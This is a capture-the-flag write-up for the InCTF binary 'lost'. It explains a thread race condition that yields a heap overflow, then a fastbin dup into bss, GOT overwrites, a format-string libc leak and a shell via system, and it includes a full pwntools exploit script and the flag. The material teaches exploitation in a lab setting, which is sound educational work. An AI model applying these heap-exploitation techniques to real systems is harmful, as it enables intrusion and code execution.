Posts InCTF: lost Writeup
Post
Cancel

InCTF: lost Writeup

Attachments: binary libc source

The binary is a 64-bit ELF, non-stripped. Here are the mitigation’s enforced.

1
2
3
4
5
6
  gdb-peda$ checksec
  CANARY    : ENABLED
  FORTIFY   : disabled
  NX        : ENABLED
  PIE       : disabled
  RELRO     : Partial

Thats not much!

Reversing

The source code is provided along with this post. So you can quickly go through it. Basically the binary allocates chunks on the heap, stores the pointer to the chunk in a global variable named ptr and allows us to edit the chunk pointed to by ptr. The catch is that ptr is overwritten each time a new chunk is allocated, so it only contains the pointer to the last allocated chunk. Here’s a quick overview of the main functionalities -

  • alloc : This option asks the user how many chunks to allocate at a time (1 or 2) and, if 2, then creates a separate thread to allocate a second chunk (1 chunk is allocated by the main thread). The catch is that, if there are multi-threds, then each thread times out after 4 seconds. Oh, and we also can input an author name. The pointer to the heap chunk, the size and the pointer to author name are stored in global variable’s namely, ptr, size and author. So these are overwritten each time alloc is called.

  • edit : This allows us to edit the chunk pointed to by ptr, if one exists. We can only edit size bytes.

Note: The sem_**** methods are just there to guarantee synchronous behavior among the various threads and can be considered irrelevant in our exploit.

Vulnerability

Race condition in alloc when the context switch between threads is taking place.

1
2
3
4
5
6
7
8
9
10
11
do
{
  printf("\nEnter Size %d: ",n);
  size=getint();
}while(size<=0 || size>1000);
ptr=malloc(size);
printf("\nEnter Author name : ");
getinp(auth,0xf0);
author=strdup(auth);
printf("\nEnter Data %d: ",n);
getinp(ptr,size);

So, in thread1, after the malloc(size) statement is executed, if we wait for 4 seconds, then thread2 begins execution. Now we give the size value as any integer above 1000, and again wait for 4 seconds so the control is passed back to thread1. Notice that in thread2, since the control never came out of the while loop, the ptr pointer was never reset, while now the size has been updated to a large value. So in thread1, in getinp(ptr,size) statement, we have a huge heap overflow.

Note: Since there is no “view” functionality in the code, I saw no way to get a memory leak by just using the provided functions.

Exploit

Right, so we have a huge heap overflow now. So what do we do with that? There is no call to free in the code and neither is there a memory leak. This prevents us from using many traditional heap exploitation techniques. Also, due to lack of memory leaks, we can’t do a House of Orange.

Well, the aim is to use the heap extension functionality of malloc to free the top chunk such that the top chunk size lies in the fastbin range and then do a fastbin dup to bss segment (PIE is off, so we have the bss addresses). I’ve written about this method here - vigneshsrao.github.io//fastbin-dup. If something in this para was unclear, then please go through this post, which explains the method that we will be using, in more detail.

Okay, so lets get started. First use the heap overflow to change the size of the top chunk to a smaller (but page aligned) value. Now we will allocate chunk such that the size of the top chunk is just enough to hold another data chunk.

After the next data chunk has been allocated, the size of the top chunk should be 0x70(required)+0x20 = 0x90 bytes. The 0x20 bytes extra are for the misc usage of malloc while it extends the chunk.

Now we will set the author such that the size is more than 0x90. When malloc tries to service this request, it sees that that the size of the top chunk is too small and tries to extend the heap. Thus the current top chunk is freed (after 0x20 bytes have been taken out). But while freeing the top chunk, its size was 0x70 which is in the fastbin range. So this goes into the 0x70 size fastbin freelist instead of the unsorted bin.

And now finally we use the race condition a second time to get an overflow into the fastbin (freed top chunk) and edit its fd pointer.

Lets just quickly sum up what we did in the last couple of para’s

  • Make top chunk of size = 0x90 + sizeof(1 data chunk)
  • allocate the data chunk such that the size of the remaining top chunk = 0x90. Now in the same thread, allocate author such that its size is > 0x90. This will lead to top getting freed and allocate the author in the extended heap segment. So this is how the heap would look-

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
        misc chunks
    --------------------
          chunk
    --------------------
      freed top chunk
    --------------------
    --------------------
          author
    --------------------
    
  • So now we use the race and get an overflow from the chunk just above the top. Thus we can overwrite the fd of 0x70 sized fastbin chunk.

Since we know the bss address and all libc addresses start with 0x7f, we can use one GOT value as target for fastbin corruption. Lets use stderr GOT address for this. So we overwrite the fd of the free chunk with stderr GOT +5-8. The + 5 for getting the size as 0x7f and -8 as we need to give the start of the chunk in fd.

Now the next time we allocate chunk of size 0x70 we are returned the previously freeed top chunk and in the next request for size 0x70, we get the chunk in bss, just below stderr.

Here’s how the area near stderr in bss looks like

1
2
3
4
5
6
7
8
0x6020c0 <stdout@@GLIBC_2.2.5>:	0x00007ffff7bb5620	0x0000000000000000
0x6020d0 <stdin@@GLIBC_2.2.5>:	0x00007ffff7bb48e0	0x0000000000000000
0x6020e0 <stderr@@GLIBC_2.2.5>:	0x00007ffff7bb5540	0x0000000000000000
0x6020f0 <ptr>:	0x0000000000000000	0x0000000000000000
0x602100 <size>:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120 <sema>:	0x0000000000000000	0x0000000000000000
0x602130 <sema+16>:	0x0000000000000000	0x0000000000000000

And here’s the area aligned as a heap chunk

1
2
3
4
5
6
7
gdb-peda$ x/xg 0x6020dd
0x6020dd:	0xfff7bb5540000000   <--Chunk start
0x6020e5 <stderr@@GLIBC_2.2.5+5>:	0x000000000000007f
0x6020ed:	0x0000000000000000    <-- We have write access from here
0x6020f5 <ptr+5>:	0x0000000000000000
0x6020fd <author+5>:	0x0000000000000000
0x602105:	0x0000000000000000

So we can basically overwrite the value of ptr. Lets overwrite this with GOT address of atoi. First to get a leak. For this edit the chunk (which is basically GOT of atoi) and make its value as PLT of printf. Then use format strings to leak out libc. After this edit the chunk again to overwrite atoi GOT with system address. Next time the prompt for option is presented, enter /bin/sh and booooom, you get a shell!

Here’s my exploit script for the same -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
import sys

HOST='localhost'
PORT=3333


def connect():
    if len(sys.argv)>1:
        r=remote(HOST,PORT)
    else:
        r=process('./chall')

libc=ELF("./libc.so.6")

def menu(opt):
    r.sendlineafter("Enter choice >> ",str(opt))

def edit(data):
    menu(2)
    r.sendlineafter("Enter new data: ",str(data))

def race_cond(size,data,size2,data2,size2_act,auth):
    menu(1)
    r.sendlineafter("How many chunks at a time (1/2) ? ",'2')
    out=r.recvuntil(": ")
    if out[-3]=='2':
        log.info("unsuccessful")
        return -1
    else:
        r.sendline(str(size))
        sleep(4)
        log.info("Sleep1 over")
        r.sendlineafter("Enter Size 2: ",str(size2))
        sleep(4)
        log.info("Sleep2 over")
        r.sendline(auth)
        r.sendlineafter("Enter Data 1: ",data)
        r.sendline(str(size2_act))
        r.sendlineafter("Enter Author name : ",auth)
        r.sendlineafter("Enter Data 2: ",data2)
        return 1

def alloc(size,data,auth='q'*0xf0,l=False):
    menu(1)
    r.sendlineafter("How many chunks at a time (1/2) ? ",'1')
    r.sendlineafter("Enter Size 1: ",str(size))
    if l:
        r.sendlineafter("Enter Author name : ",auth)
    else:
        r.sendafter("Enter Author name : ",auth)
    r.sendlineafter("Enter Data 1: ",data)

def exploit():
    alloc(1000-0x100,"q")
    alloc(1000-0x100,"q")
    alloc(1000-0x100,"q")
    race_cond(568,"a"*0x230+"qqqqqqqq"+p64(0x71)+p64(0x6020dd),10000,"aa",12,"q"*(0xf0-1))
    alloc(90,"q")
    alloc(90,"qqq"+p64(0x602088))
    edit(p64(0x400970))
    menu("%3$p##")
    libc.address=int(r.recvuntil("##").replace("##",''),16)-0x3da51d
    log.info("libc @ "+hex(libc.address))
    l=0x602088
    menu("11")
    r.sendlineafter("Enter new data: ",p64(libc.symbols['system']))
    menu("/bin/sh\x00")


if __name__=='__main__':

    success=False
    while(not success):
        if len(sys.argv)>1:
            r=remote(HOST,PORT)
        else:
            r=process('./chall')
        success=race_cond(12,"A"*24+p64(0x21)+"A"*24+p64(0xea1),10000,"12",12,"QQQQ")

    log.info("successful")
    exploit()
    r.interactive()

And the flag was

1
InCTF{w1n_th3_r4c3_t0_r0mp_1n_the_h34p}

Hope you enjoyed this challenge and our CTF !

This post is licensed under CC BY 4.0 by the author.